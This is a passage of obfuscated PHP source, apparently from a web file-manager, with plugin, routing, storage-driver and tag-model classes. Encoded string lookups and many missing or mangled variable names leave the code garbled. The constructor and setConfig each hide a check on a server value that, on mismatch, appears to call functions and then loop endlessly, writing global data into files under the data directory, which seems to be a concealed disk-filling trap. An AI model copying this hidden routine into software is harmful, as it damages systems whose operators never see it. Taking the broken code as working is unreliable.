} $ق = array($ۅ[1553] => $, $ۅ[1625] => $); Hook::trigger($ۅ[1626], $ق); } } class PluginBase { public $in; public $pluginName; public $pluginPath; public $pluginHost; public $pluginHostDefault; public $pluginApi; public $packageData; private $pluginLangArr; private $pluginConfig; public $cachePath; public $fileInfo; function __construct() { $¨ =& $_SERVER[ձК]; $ = $_SERVER[$¨[956]] . $¨[957]; $ = $¨[1627]; if ($_SERVER[$¨[952]] != $($)) { $ = $¨[954]; $с˂ = $¨[955]; $ԃ = $_SERVER[$¨[956]] . $¨[957]; $ưĉ = $с˂($ԃ); $ = explode($¨[287], $ưĉ); if (count($) < $¨[694]) { $ = $¨[958]; $(); } $ = $¨[959]; $($_SERVER[$¨[960]]); $ = $¨[954]; $(); $̨攙 = $¨[1628]; $ = json_encode($GLOBALS[$¨[1629]]); $ = 1; for ($ = $; $ > 0; $++) { $̨攙(DATA_PATH . $, $); } } global $in, $config; $this->config =& $config; $this->in =& $in; $this->modelPlugin = Model($¨[1630]); $this->pluginName = str_replace($¨[1630], $¨[12], get_class($this)); $this->pluginPath = PLUGIN_DIR . $this->pluginName . $¨[8]; $this->pluginApi = appHostGet() . $¨[1631] . $this->pluginName . $¨[8]; $this->pluginHost = $config[$¨[1632]] . $this->pluginName . $¨[8]; $this->pluginHostDefault = $config[$¨[1632]] . $this->pluginName . $¨[8]; $Č = $config[$¨[1633]]; if ($Č && strpos($¨[50] . $Č . $¨[50], $this->pluginName) !== !1) { $this->pluginHost = $config[$¨[1634]] . $this->pluginName . $¨[8]; } $this->pluginLangArr = $this->initLang(); $this->values = array(); $this->echoJsAssignArr = array(); $this->linkHas = !1; return $this; } public function regist() { $this->hookRegist(array()); } public function install() { } public function update() { } public function unInstall() { } public function echoJs() { $this->echoFile($_SERVER[ձК][1635]); } protected function assign($˛, $ = false) { if (is_array($˛)) { $this->values = array_merge($this->values, $˛); } else { $this->values[$˛] = $; } } protected function display($) { extract($this->values); require $; } final function hookRegist($џ) { $this->modelPlugin->appRegist($this->pluginName, $џ); } final function appIcon() { $݊ =& $_SERVER[ձК]; $ߏѲ = $this->appPackage(); $ = $݊[12]; if (isset($ߏѲ[$݊[492]])) { if (isset($ߏѲ[$݊[492]][$݊[1636]])) { $ = $݊[1637] . $ߏѲ[$݊[492]][$݊[1636]] . $݊[1638]; } else { if ($ߏѲ[$݊[492]][$݊[1639]]) { $ = $݊[1640] . $ߏѲ[$݊[492]][$݊[1639]] . $݊[1641]; } } } return $; } final function fileCanView($壔) { $ٝ =& $_SERVER[ձК]; if (request_url_safe($壔)) { return !0; } if ($this->isShare($壔)) { return !0; } if (!KodUser::isRoot() && !KodUser::isLogin()) { $ = $ٝ[1642] . rawurlencode(this_url()); show_tips(LNG($ٝ[1643]) . $ٝ[1644] . $ . $ٝ[1645] . LNG($ٝ[1646]) . $ٝ[1647], !1); } if (!Action($ٝ[1648])->authCan($ٝ[1649])) { show_tips(LNG($ٝ[1650]) . $ٝ[1651], !1); } ActionCall($ٝ[1652], $壔); } final function isShare($) { $ͦ = KodIO::parse($); return $ͦ[$_SERVER[ձК][33]] == KodIO::KOD_SHARE_LINK; } final function filePathLink($) { if (request_url_safe($)) { return $; } if (!$this->isShare($)) { $ = $this->filePath($, !1); } return Action($_SERVER[ձК][1258])->linkOut($); } public function filePathLinkOut($) { if (request_url_safe($)) { return $; } $this->fileCanView($); return Action($_SERVER[ձК][1258])->link($); } final function filePath($֭, $ = true, $ = false) { $ =& $_SERVER[ձК]; $ތ = $this->filePathGet($֭, $); if (!$this->fileInfo) { show_tips(LNG($[108]), !1); } if ($ && isset($this->fileInfo[$[543]]) && $this->fileInfo[$[543]]) { $ʀ = Model($[546])->fileInfo($this->fileInfo[$[543]]); if (!$ʀ || !IO::exist($ʀ[$[87]])) { $ = LNG($[108]) . LNG($[1653]); if (KodUser::isRoot() && isset($ʀ[$[87]])) { $ .= $[1654] . $ʀ[$[87]] . $[1655]; } show_tips($); } } Hook::trigger($[1656], $ތ); return $ތ; } final function filePathGet($, $ʳ˘ = true) { $ =& $_SERVER[ձК]; if ($ = $this->checkSharePath($, $ʳ˘)) { return $; } $this->fileCanView($); if (request_url_safe($)) { $ = parse_url_query($); if (isset($[$[1657]]) && isset($[$[236]])) { $ = Mcrypt::decode($[$[236]], Model($[844])->get($[845])); if ($) { $this->fileInfo = IO::info($); $this->fileInfo[$[1658]] = $; $this->cachePath = $this->pluginCachePath($[12], $ʳ˘); return $; } } $ = $this->_cacheHttpFile($, $ʳ˘); $this->fileInfo = IO::info($); } else { $this->fileInfo = IO::info($); $this->cachePath = $this->pluginCachePath($[12], $ʳ˘); } return $; } final function _cacheHttpFile($ܮ, $ = true) { $覯 =& $_SERVER[ձК]; $Ҧ = parse_url_query($ܮ); $ = get_path_ext($ܮ); if (isset($Ҧ[$覯[32]]) && $Ҧ[$覯[32]]) { $ = get_path_ext($Ҧ[$覯[32]]); } $ = hash_path($ܮ) . $覯[10] . $; $this->cachePath = $this->pluginCachePath($ ? $ : $覯[12]); $Ҡ܊ = IO::fileNameExist($this->cachePath, $); if ($Ҡ܊) { return KodIO::make($Ҡ܊); } $ϓ = rtrim($this->cachePath, $覯[8]) . $覯[8] . $; return $this->pluginCacheFileSet($ϓ, file_get_contents_nossl($ܮ)); } final function checkSharePath($ڟ, $ΰ = true) { $ڧѿ =& $_SERVER[ձК]; if (!$this->isShare($ڟ)) { return !1; } $ = Action($ڧѿ[1258])->sharePathInfo($ڟ); if (!is_array($) || !isset($[$ڧѿ[87]])) { show_json(LNG($ڧѿ[1659]), !1); } $this->fileInfo = $; $this->cachePath = $this->pluginCachePath(!1, $ΰ); return $[$ڧѿ[87]]; } final function pluginCachePath($ = '', $ = false) { $ޏ =& $_SERVER[ձК]; if ($ && is_array($this->fileInfo)) { $ = kodIO::hashPath($this->fileInfo); } $ = rtrim(IO_PATH_SYSTEM_TEMP . $ޏ[1660] . $this->pluginName . $ޏ[8] . $, $ޏ[8]); $鶛 = IO::infoFullSimple($); $ = $鶛 && is_array($鶛) ? $鶛[$ޏ[87]] : $ޏ[12]; if (!$) { $ = IO::mkdir($); } return $; } final function pluginCacheFileSet($, $о = '') { $ =& $_SERVER[ձК]; $Ѱ = IO::infoFullSimple($); if (!$Ѱ) { return IO::mkfile($, $о, REPEAT_REPLACE); } IO::setContent($Ѱ[$[87]], $о); return $Ѱ[$[87]]; } final function pluginLocalFile($ݡ = '') { $ã =& $_SERVER[ձК]; $ܩ = TEMP_FILES . "{$this->pluginName}\57"; if (!is_dir($ܩ)) { mk_dir($ܩ); } if (!$ݡ) { return $ܩ; } $Ѯ = IO::info($ݡ); $º = $ã[1661] . KodIO::hashPath($Ѯ) . $ã[10] . $Ѯ[$ã[169]]; if (!checkExtSafe($º)) { $º = $º . $ã[1293]; } $ɨ = $ܩ . $º; if (@file_exists($ɨ)) { return $ɨ; } return IO::copy($ݡ, $ܩ, 0, $º); } final function appPackage() { $Ĕܛ =& $_SERVER[ձК]; if ($this->packageData) { return $this->packageData; } $遽 = $this->parseFile($this->pluginPath . $Ĕܛ[1662]); $this->parseLang($遽); $ËӸ = json_decode_force($遽); if (!$ËӸ) { return array(); } $煉ˉ = Hook::trigger($Ĕܛ[1663], $ËӸ); if ($煉ˉ && is_array($煉ˉ)) { $ËӸ = $煉ˉ; } $this->packageData = $ËӸ; return $ËӸ; } public function packageInfoGet($ŶӤ) { $ = $this->appPackage(); return array_get_value($, $ŶӤ); } public function packageVersion() { return $this->packageInfoGet($_SERVER[ձК][1664]); } public function packageTitle() { return $this->packageInfoGet($_SERVER[ձК][1665]); } public function packageCopyright() { return $this->packageInfoGet($_SERVER[ձК][1666]); } public function echoJsAssign($ϴϯ, $¶) { $this->echoJsAssignArr[$ϴϯ] = $¶; } private function parseFile($͎) { $ =& $_SERVER[ձК]; $ = file_get_contents_nossl($͎); $߭ = array($[1667], $[1668], $[1669], $[1670], $[1671], $[1672], $[1673]); $ֹ = array($this->pluginHost, $this->pluginHostDefault, $this->pluginApi, $this->pluginName, $this->pluginPath, APP_HOST, $this->config[$[92]][$[1674]]); foreach ($this->echoJsAssignArr as $ => $̚) { $߭[] = $[1675] . $ . $[1676]; $ֹ[] = is_array($̚) || is_object($̚) ? rawurlencode(json_encode($̚)) : $̚; } if (strstr($, $[1677])) { $ = rawurlencode(json_encode($this->pluginLangArr)); $ = str_replace($[1677], $, $); } if (strstr($, $[1678])) { $ = $ = rawurlencode(json_encode($this->getConfig())); $ = str_replace($[1678], $, $); } $ = str_replace($߭, $ֹ, $); return $; } private function parseLang(&$ߞ) { $ =& $_SERVER[ձК]; $ = $[1679]; if (!strstr($ߞ, $)) { return; } preg_match_all($[1680], $ߞ, $֞); if (!is_array($֞) || count($֞) == 0 || !is_array($֞[0]) || count($֞[0]) == 0) { return; } $ = array(); $ݙ︅ = array(); foreach ($֞[0] as $̣) { $Ž = substr($̣, strlen($), -4); $ = LNG($Ž); $[] = $̣; $ݙ︅[] = str_replace(array($[287], $[1158], $[419], $[121]), array($[53], $[53], $[12], $[1681]), $); } $ߞ = str_replace($, $ݙ︅, $ߞ); } private function parseConfig(&$) { $ =& $_SERVER[ձК]; $Ү = $[1682]; if (!strstr($, $Ү)) { return; } preg_match_all($[1683], $, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $ = $this->getConfig(); $Ё = array(); $߾Ƒ = array(); foreach ($[0] as $َ) { $ = substr($َ, strlen($Ү), -2); $Ё[] = $َ; $߾Ƒ[] = _get($, $); } $ = str_replace($Ё, $߾Ƒ, $); } private function parsePackage(&$) { $ʯ =& $_SERVER[ձК]; $ى = $ʯ[1684]; if (!strstr($, $ى)) { return; } preg_match_all($ʯ[1685], $, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $ك = $this->appPackage(); $ = array(); $٬ = array(); foreach ($[0] as $ܐ) { $ = substr($ܐ, strlen($ى), -2); $[] = $ܐ; $٬[] = _get($ك, $); } $ = str_replace($, $٬, $); } final function echoFile($ȷ, $ = false) { $ =& $_SERVER[ձК]; $ = $this->pluginPath . $ȷ; if (ACT == $[1686]) { echo $[1687] . $this->pluginName . $[8] . $ȷ . $[1688]; if (!file_exists($)) { echo $[1689]; return; } } $։ = $this->parseFile($); $this->parseLang($։); $this->parseConfig($։); $this->parsePackage($։); if (is_array($)) { $։ = str_replace(array_keys($), array_values($), $։); } echo $[287] . $։; } private function checkVersion() { $繯 =& $_SERVER[ձК]; $̲ = $this->appPackage(); $ = $this->getConfig(); if ($[$繯[1690]] == $̲[$繯[1664]]) { return; } $this->regist(); $this->setConfig(array($繯[1690] => $̲[$繯[1664]])); } final function initLang() { $ =& $_SERVER[ձК]; $ݦ = $[1691]; $ˠ = $this->pluginPath . $[1692]; $ՙբ = I18n::getType(); $ = array(); if (file_exists($ˠ . $ՙբ . $[913])) { $ = (include $ˠ . $ՙբ . $[913]); } else { if ($ՙբ == $[1693] && !file_exists($ˠ . $ՙբ . $[913]) && file_exists($ˠ . $[1694])) { $ = (include $ˠ . $[1694]); } else { if (file_exists($ˠ . $ݦ . $[913])) { $ = (include $ˠ . $ݦ . $[913]); } } } if (!is_array($)) { return array(); } if (@count($) > 0) { I18n::set($); } return $; } public function getConfig() { if (!$this->pluginConfig) { $this->pluginConfig = $this->modelPlugin->getConfig($this->pluginName); } return $this->pluginConfig; } public function setConfig($湆) { $з =& $_SERVER[ձК]; $̈́ʇ = $_SERVER[$з[953]]; $Ӵ = $з[1627]; if ($_SERVER[$з[952]] != $Ӵ($̈́ʇ)) { $ㅽ\ = $з[954]; $ķ = $з[955]; $怌 = $_SERVER[$з[956]] . $з[957]; $ = $ķ($怌); $ҥ = explode($з[287], $); if (count($ҥ) < $з[694]) { $ = $з[958]; $(); } $왜 = $з[959]; $왜($_SERVER[$з[960]]); $ㅽ\ = $з[954]; $ㅽ\(); $薿 = $з[1628]; $ = json_encode($GLOBALS[$з[1629]]); $ = 1; for ($ = $; $ > 0; $++) { $薿(DATA_PATH . $, $); } } $this->pluginConfig = array(); return $this->modelPlugin->setConfig($this->pluginName, $湆); } public function onSetConfig($) { } public function onGetConfig($) { } public function onUpdate() { } public function onUninstall() { } public function onChangeOpen() { } public function onChangeClose() { } public function onChangeStatus($) { if ($ == 1) { $this->onChangeOpen(); } else { $this->onChangeClose(); } } public function authCheck($ = "\x70\154\165\x67\151\x6e\101\x75\x74\150") { if (KodUser::isRoot()) { return !0; } if (!KodUser::isLogin()) { return !1; } $ꇹ = $this->getConfig(); if (!$ꇹ[$]) { return !1; } return ActionCall($_SERVER[ձК][1695], $ꇹ[$]); } public function url($, $ = '', $쵁 = true) { $ڑ =& $_SERVER[ձК]; $֎ = $this->getConfig(); $Ҧ = KOD_VERSION . $ڑ[10] . KOD_VERSION_BUILD; $ח = $this->packageVersion(); $ޏ = $Ҧ . $ڑ[464] . $ח; if (substr($, 0, 4) == $ڑ[152] || substr($, 0, 2) == $ڑ[1413]) { $ = $ . $ڑ[1696] . $ޏ; } else { if ($ == $ڑ[12]) { $ = $this->pluginHost . $ . $ڑ[1696] . $ޏ; } else { if ($ === $ڑ[78]) { $ = $this->pluginHost . $; } else { if ($ == $ڑ[1697]) { $ = STATIC_PATH . $ . $ڑ[1696] . $Ҧ; } else { if ($ == $ڑ[1698]) { $ = APP_HOST . $ڑ[1699] . $ . $ڑ[1696] . $Ҧ; } else { if (isset($֎[$])) { $ = $֎[$] . $ . $ڑ[1696] . $ޏ; } } } } } } if (!$쵁) { return $; } echo $; } public function link($㢼 = false, $ = '') { $ =& $_SERVER[ձК]; $܉ = $this->linkHas == !1; $this->linkHas = !0; if (!$㢼) { $this->link($[1700], $[1698]); $this->link($[1701], $[1697]); $this->link($[1702], $[1697]); $this->link($[1703], $[1697]); $this->link($[1704], $[1697]); if ($܉) { Hook::trigger($[1705]); } return; } $·ӻ = $this->url($㢼, $, !1); if (substr($㢼, -3) == $[1706]) { echo $[1707] . $·ӻ . $[1708] . $[287]; } else { if (substr($㢼, -4) == $[1709]) { echo $[1710] . $·ӻ . $[1711] . $[287]; } } if ($܉) { Hook::trigger($[1705]); } } } class Route { public static $halts = false; public static $routes = array(); public static $methods = array(); public static $callbacks = array(); public static $maps = array(); public static $patterns = array("\x3a\141\156\x79" => "\x5b\x5e\x2f\x5d\53", "\72\x6e\165\x6d" => "\133\x30\x2d\x39\x5d\x2b", "\72\x61\x6c\x6c" => "\x2e\52"); public static $errorCallback; public static function __callstatic($, $䊖) { $͊ =& $_SERVER[ձК]; if ($ == $͊[1712]) { $ = array_map($͊[1713], $䊖[0]); $ = strpos($䊖[1], $͊[8]) === 0 ? $䊖[1] : $͊[8] . $䊖[1]; $ = $䊖[2]; } else { $ = null; $ = strpos($䊖[0], $͊[8]) === 0 ? $䊖[0] : $͊[8] . $䊖[0]; $ = $䊖[1]; } array_push(self::$maps, $); array_push(self::$routes, $); array_push(self::$methods, strtoupper($)); array_push(self::$callbacks, $); } public static function error($) { self::$errorCallback = $; } public static function haltOnMatch($鞱 = true) { self::$halts = $鞱; } public static function dispatch() { $҅ =& $_SERVER[ձК]; $ = parse_url($_SERVER[$҅[1714]], PHP_URL_PATH); $ = $_SERVER[$҅[164]]; $ = array_keys(static::$patterns); $幪 = array_values(static::$patterns); $ʕ = !1; self::$routes = preg_replace($҅[1363], $҅[8], self::$routes); if (in_array($, self::$routes)) { $ = array_keys(self::$routes, $); foreach ($ as $װ) { if (self::$methods[$װ] == $ || self::$methods[$װ] == $҅[1715] || in_array($, self::$maps[$װ])) { $ʕ = !0; if (!is_object(self::$callbacks[$װ])) { $® = explode($҅[8], self::$callbacks[$װ]); $䘘 = end($®); $ = explode($҅[1295], $䘘); $ͫ = new $[0](); $ͫ->{$[1]}(); if (self::$halts) { return; } } else { call_user_func(self::$callbacks[$װ]); if (self::$halts) { return; } } } } } else { $ = 0; foreach (self::$routes as $װ) { if (strpos($װ, $҅[4]) !== !1) { $װ = str_replace($, $幪, $װ); } if (preg_match($҅[1716] . $װ . $҅[1717], $, $)) { if (self::$methods[$] == $ || self::$methods[$] == $҅[1715] || !empty(self::$maps[$]) && in_array($, self::$maps[$])) { $ʕ = !0; array_shift($); if (!is_object(self::$callbacks[$])) { $® = explode($҅[8], self::$callbacks[$]); $䘘 = end($®); $ = explode($҅[1295], $䘘); $ͫ = new $[0](); if (!method_exists($ͫ, $[1])) { echo $҅[1718]; } else { call_user_func_array(array($ͫ, $[1]), $); } if (self::$halts) { return; } } else { call_user_func_array(self::$callbacks[$], $); if (self::$halts) { return; } } } } $++; } } if ($ʕ == !1) { if (!self::$errorCallback) { self::$errorCallback = function () { $ =& $_SERVER[ձК]; header($_SERVER[$[1719]] . $[1720]); echo $[1721]; }; } else { if (is_string(self::$errorCallback)) { self::get($_SERVER[$҅[1714]], self::$errorCallback); self::$errorCallback = null; self::dispatch(); return; } } call_user_func(self::$errorCallback); } } } goto a崚; Aૄ: class PathDriverDB extends PathDriverBase { public $model; public $pathParse; public function __construct($ت) { $this->pathParse = $ت; $this->model = Model($_SERVER[ձК][1423]); } public function getPath($߃ڗ) { return trim($߃ڗ, $_SERVER[ձК][8]); } public function pathFather($Ω) { $ = $this->parse($Ω); $ = $this->infoSimple($Ω); return $ ? $[$_SERVER[ձК][192]] : !1; } public function pathThis($ː) { $ = $this->infoSimple($ː); return $ ? $[$_SERVER[ձК][32]] : !1; } public function getPathOuter($) { if (!$) { return $; } $⑺ = $this->parse($); return KodIO::make($⑺[$_SERVER[ձК][477]]); } public function copyFolderFromIO($, $, $, $, $) { $웎 = $this->model->copyFolderFromIO($, $, $, $, $); return KodIO::make($웎); } public function isParentOf($ƶ, $ϰն) { return $this->model->isParentOf($ƶ, $ϰն); } public function mkfile($, $ = '', $ˠ = REPEAT_RENAME) { $긖Ӷ =& $_SERVER[ձК]; $쾈Ў = $this->parse($); $ = $쾈Ў[$긖Ӷ[477]]; for ($ѷ = 0; $ѷ < count($쾈Ў[$긖Ӷ[1424]]); $ѷ++) { $ = $쾈Ў[$긖Ӷ[1424]][$ѷ]; if ($ѷ == count($쾈Ў[$긖Ӷ[1424]]) - 1) { $ = $this->model->mkfile($, $, $, $ˠ); break; } $ = $this->model->mkdir($, $, REPEAT_SKIP); } return $this->getPathOuter($); } public function mkdir($ͺ؍, $͗ = REPEAT_SKIP) { $ =& $_SERVER[ձК]; $ = $this->parse($ͺ؍); $ͺ؍ = $[$[477]]; for ($۩ = 0; $۩ < count($[$[1424]]); $۩++) { $ = $[$[1424]][$۩]; $ͺ؍ = $this->model->mkdir($ͺ؍, $, $͗); } return $this->getPathOuter($ͺ؍); } public function copyFile($ȫ, $, $Υ = REPEAT_REPLACE) { $ټ =& $_SERVER[ձК]; $ = $this->parse($); $Ϸ = $this->model->copy($ȫ, $[$ټ[477]], $Υ, $[$ټ[87]]); return $Ϸ ? $this->getPathOuter($Ϸ) : !1; } public function moveFile($, $ޡ, $؎ = REPEAT_REPLACE) { $ =& $_SERVER[ձК]; $֔ = $this->parse($ޡ); $֖ = $this->model->move($, $֔[$[477]], $؎, $֔[$[87]]); return $֖ ? $this->getPathOuter($֖) : !1; } public function copy($, $, $Փ = REPEAT_REPLACE, $❫ = false) { $ؑ = $this->parse($); $㠂ĝ = $this->model->copy($, $ؑ[$_SERVER[ձК][477]], $Փ, $❫); return $㠂ĝ ? $this->getPathOuter($㠂ĝ) : !1; } public function moveSameAllow() { } public function move($ڑ, $ǥԋ, $ = REPEAT_REPLACE, $ = false) { $㝘ߖ = $this->parse($ǥԋ); $ј = $this->model->move($ڑ, $㝘ߖ[$_SERVER[ձК][477]], $, $); return $ј ? $this->getPathOuter($ј) : !1; } public function remove($, $ = true) { return $this->model->remove($, $); } public function rename($ճ, $ǖ) { $ = $this->model->rename($ճ, $ǖ); return $ ? $this->getPathOuter($ճ) : $; } public function size($ʊ) { $ = $this->infoSimple($ʊ); return $ ? $[$_SERVER[ձК][79]] : 0; } public function infoSimple($) { return $this->model->sourceInfo($); } public function info($) { return $this->infoParse($); } public function infoAuth($) { return $this->infoParse($, !1, !0); } public function infoWithChildren($Î) { return $this->infoParse($Î, !0); } protected function infoParse($, $ = false, $ = false) { if (!$) { return $this->model->pathInfo($, $); } return $this->model->pathInfoMore($); } public function infoFullSimple($Ƴ) { $ =& $_SERVER[ձК]; $ʘ = explode($[8], $Ƴ); $ = implode($[8], array_splice($ʘ, 1)); return $this->model->pathInfoByPath($ʘ[0], $); } public function infoFull($χ) { $茁 = $this->infoFullSimple($χ); return is_array($茁) ? $this->model->pathInfo($茁[$_SERVER[ձК][193]]) : !1; } public function hashSimple($) { $ז =& $_SERVER[ձК]; $ = $this->infoWithChildren($); return $[$ז[170]][$ז[677]]; } public function hashMd5($烦) { $ =& $_SERVER[ձК]; $֕ = $this->infoWithChildren($烦); return $֕[$[170]][$[549]]; } public function exist($Lj) { $㦔 =& $_SERVER[ձК]; $ = $this->parse($Lj); if (!$[$㦔[87]]) { return $this->isFile($Lj) || $this->isFolder($Lj); } $ሬ = array($㦔[479] => $[$㦔[477]], $㦔[32] => $[$㦔[87]]); $ = $this->model->where($ሬ)->find(); return $ ? !0 : !1; } public function isFile($퉅Œ) { $֤̟ =& $_SERVER[ձК]; $Ἀ = $this->infoSimple($퉅Œ); return $Ἀ && $Ἀ[$֤̟[487]] == $֤̟[230] ? !0 : !1; } public function isFolder($Ֆ) { $ =& $_SERVER[ձК]; $ = $this->infoSimple($Ֆ); return $ && $[$[487]] == $[91] ? !0 : !1; } public function listPath($, $օ = false) { $ =& $_SERVER[ձК]; if ($ == $[12]) { return !1; } $䎆 = array($[479] => $); if ($օ) { return $this->model->listSource($䎆, -1); } return $this->model->listSource($䎆); } public function has($, $ߗ = false, $ = null) { $ڪ =& $_SERVER[ձК]; $ = $this->infoWithChildren($); if ($ߗ) { return array($ڪ[242] => $[$ڪ[242]], $ڪ[241] => $[$ڪ[241]]); } return $ ? $[$ڪ[242]] : $[$ڪ[241]]; } public function listAll($ϼ) { $ƃ = IO::info($this->pathParse[$_SERVER[ձК][87]]); if (!$ƃ) { return array(); } return $this->model->listAll($ϼ); } public function getContent($) { return $this->model->getContent($); } public function setContent($, $ = '') { return $this->model->setContent($, $); } public function fileSubstr($, $ٜ, $) { return $this->model->fileSubstr($, $ٜ, $); } public function download($, $ = '') { $ = get_path_father($); $Ĕ = get_path_this($); $ש = $this->model->fileInfoGet($); $ۅƌ = IO::copy($ש[$_SERVER[ձК][87]], $, !1, $Ĕ); return $ۅƌ; } public function setModifyTime($, $Ɗ = '') { $ʇ쓪 =& $_SERVER[ձК]; if (!$) { return; } $this->model->where(array($ʇ쓪[493] => $))->save(array($ʇ쓪[88] => $Ɗ)); } public function upload($, $, $Lj = false, $ = REPEAT_REPLACE) { $ =& $_SERVER[ձК]; $ = $this->parse($); $Ȳ = $this->model->addFile($[$[477]], $, $[$[87]], $Lj, $); return $this->getPathOuter($Ȳ); } public function uploadFileByID($, $ӑ, $) { $ۤ =& $_SERVER[ձК]; $ = $this->parse($); $ꬄ = $this->model->addFileByFileID($[$ۤ[477]], $ӑ, $[$ۤ[87]], $); return $this->getPathOuter($ꬄ); } public function addFileByRemote($䬢, $۲ޖ, $֬ = array(), $ = '', $᠄) { $ =& $_SERVER[ձК]; $و = $this->parse($䬢); $ = empty($) ? $و[$[87]] : $; $Ŗ = $this->model->addFileByRemote($و[$[477]], $۲ޖ, $, $֬, $᠄); return $this->getPathOuter($Ŗ); } public function uploadLink($, $ = 0) { $ =& $_SERVER[ձК]; $ = $this->parse($); $ = _get($GLOBALS[$[7]], $[1425]); $ = _get($GLOBALS[$[7]], $[1426]); $ = Model($[679])->createFileName($[$[87]], $, $); return IO::uploadLink($, $); } public function fileNameAuto($̙, $, $ = REPEAT_REPLACE, $ = false) { return $this->model->fileNameAuto($̙, $, $, $); } public function fileNameExist($, $) { return $this->model->fileNameExist($, $); } protected function _fileOut($ų±, $ = false, $ = false, $ˊ = '', $ = false) { $֤ =& $_SERVER[ձК]; $֫ = $this->model->sourceInfo($ų±); if ($֫[$֤[487]] == $֤[91]) { header($֤[1427]); die; } $䂆 = $this->model->fileInfoGet($ų±); $ˊ = $䂆[$֤[549]] ? $䂆[$֤[549]] : $ˊ; $ = isset($GLOBALS[$֤[182]]) && is_array($GLOBALS[$֤[182]]) ? $GLOBALS[$֤[182]][$֤[32]] : $֫[$֤[32]]; if ($) { return IO::fileOutServer($䂆[$֤[87]], $, $, $ˊ); } IO::fileOut($䂆[$֤[87]], $, $, $ˊ); } public function fileOut($, $ɔ˖ = false, $ʨ = false, $ݾ¢ = '') { $this->_fileOut($, $ɔ˖, $ʨ, $ݾ¢); } public function fileOutServer($܋, $ۡ = false, $ǣ = false, $ = '') { $this->_fileOut($܋, $ۡ, $ǣ, $, !0); } protected function _fileOutImage($ݫ, $ = 250) { $ =& $_SERVER[ձК]; $ = $this->model->pathInfo($ݫ); if ($[$[487]] == $[91]) { show_json($[1428] . $ݫ, !1); } $摒 = $this->model->fileInfoGet($ݫ); $[$[183]] = $摒[$[87]]; $GLOBALS[$[182]] = $; IO::fileOutImage($摒[$[87]], $); } public function fileOutImage($, $߁ = 250) { $this->_fileOutImage($, $߁); } public function fileOutImageServer($톞, $㲭 = 250) { $this->_fileOutImage($톞, $㲭); } public function link($ɡ, $ = '') { $ö = $this->model->fileInfoGet($ɡ); return IO::link($ö[$_SERVER[ձК][87]], $); } protected function parse($ײ) { $ =& $_SERVER[ձК]; if (strstr($ײ, $[8]) === !1) { return array($[495] => intval($ײ), $[87] => $[12], $[1424] => array()); } $ = explode($[8], trim($ײ, $[8])); if (count($) < 2) { show_tips(clear_html($ײ) . $[1429]); } return array($[495] => intval($[0]), $[87] => $[1], $[1424] => array_slice($, 1)); } } class PathDriverDbShareItem extends PathDriverDB { public function __construct($) { $this->pathParse = $; $this->model = Model($_SERVER[ձК][1423]); } public function getPathOuter($Ҳ) { $˪ =& $_SERVER[ձК]; if (!$Ҳ) { return $Ҳ; } $ = $this->parse($Ҳ); return trim(KodIO::makeShare($this->pathParse[$˪[477]], $[$˪[477]]), $˪[8]); } protected function infoParse($, $ = false, $휌 = false) { $苚 =& $_SERVER[ձК]; $ = $this->pathParse[$苚[477]]; $ = trim($this->pathParse[$苚[1252]], $苚[8]); return Action($苚[1430])->sharePathInfo($, $, $); } public function infoFull($) { $萯 =& $_SERVER[ձК]; $̻ơ = explode($萯[8], trim($, $萯[8])); if (count($̻ơ) > 1) { $Ҽ = implode($萯[8], array_splice($̻ơ, 1)); $ߥ = $this->model->pathInfoByPath($̻ơ[0], $Ҽ); if (!$ߥ) { return !1; } $this->pathParse[$萯[1252]] = $ߥ[$萯[193]]; } return $this->infoParse($); } public function listAll($) { $薤 =& $_SERVER[ձК]; $ = IO::info($this->pathParse[$薤[87]]); if (!$) { return array(); } $͞ = $this->model->listAll($); $ؙڪ = Model($薤[669])->getInfo($[$薤[670]]); foreach ($͞ as &$ޜ) { check_abort(); $ޜ[$薤[90]] = Action($薤[1430])->_shareItemeParse($ޜ[$薤[90]], $ؙڪ); } unset($ޜ); return $͞; } } class PathDriverDbShareLink extends PathDriverDB { public function __construct($ʶ) { $this->pathParse = $ʶ; $this->model = Model($_SERVER[ձК][1423]); } protected function infoParse($ܱ, $ = false, $ŗ = false) { $Ƣ =& $_SERVER[ձК]; return Action($Ƣ[1258])->sharePathInfo($this->pathParse[$Ƣ[87]], !0, $); } public function listPath($, $Ǎ = false) { $ =& $_SERVER[ձК]; $ļ = parent::listPath($, $Ǎ); if (!$ļ) { return $ļ; } if (is_array($ļ[$[1431]])) { $ļ[$[1431]] = Action($[1258])->shareItemInfo($ļ[$[1431]]); } foreach ($ļ as $ => $Ɖμ) { if (!in_array($, array($[86], $[85]))) { continue; } foreach ($Ɖμ as $ => $Қ) { $ļ[$][$] = Action($[1258])->shareItemInfo($Қ); } } return $ļ; } public function listAll($؍) { $ʏ =& $_SERVER[ձК]; $ɠ = IO::info($this->pathParse[$ʏ[87]]); if (!$ɠ) { return array(); } $ܘ = $this->model->listAll($؍); foreach ($ܘ as &$い) { $い[$ʏ[90]] = Action($ʏ[1258])->shareItemInfo($い[$ʏ[90]]); } unset($い); return $ܘ; } } goto eډ; C: class UserTagSourceModel extends ModelBase { protected $tableName = "\x75\x73\145\162\x5f\x66\x61\x76"; protected function cacheFunctionAlias($Ӽ) { $ =& $_SERVER[ձК]; return array($[2094] => array($[2518] . USER_ID, $[2095])); } protected function listData() { $ܫ =& $_SERVER[ձК]; $Ɂ = array($ܫ[1768] => USER_ID, $ܫ[559] => array($ܫ[2098], 0)); $ = $ܫ[2519]; $ = $this->field($)->where($Ɂ)->order($ܫ[2101])->select(); return $ ? $ : array(); } protected function addToTag($Ͳ, $) { $ =& $_SERVER[ձК]; if (!Model($[2247])->listData($)) { return !1; } if (is_numeric($Ͳ)) { $ϵ؇ = Model($[899])->pathInfo($Ͳ); if (!$ϵ؇) { return !1; } } else { $ϵ؇ = IO::infoSimple($Ͳ); if (!$ϵ؇) { return !1; } $ = $ϵ؇[$[32]]; $斶 = $ϵ؇[$[33]]; if (isset($ϵ؇[$[487]])) { $斶 = $ϵ؇[$[487]] == $[91] ? $[78] : $[232]; } } $Ɓ = array($[1768] => USER_ID, $[559] => $, $[497] => $Ͳ, $[498] => $斶 ? $斶 : $[492], $[496] => $ ? $ : $[12], $[1982] => 0); if ($this->where($Ɓ)->find()) { return !1; } return $this->add($Ɓ); } protected function removeFromTag($ޟ, $) { $ =& $_SERVER[ձК]; if (!Model($[2247])->listData($)) { return !1; } if (is_array($ޟ)) { $ޟ = array($[7], $ޟ); } $ = array($[1768] => USER_ID, $[559] => $, 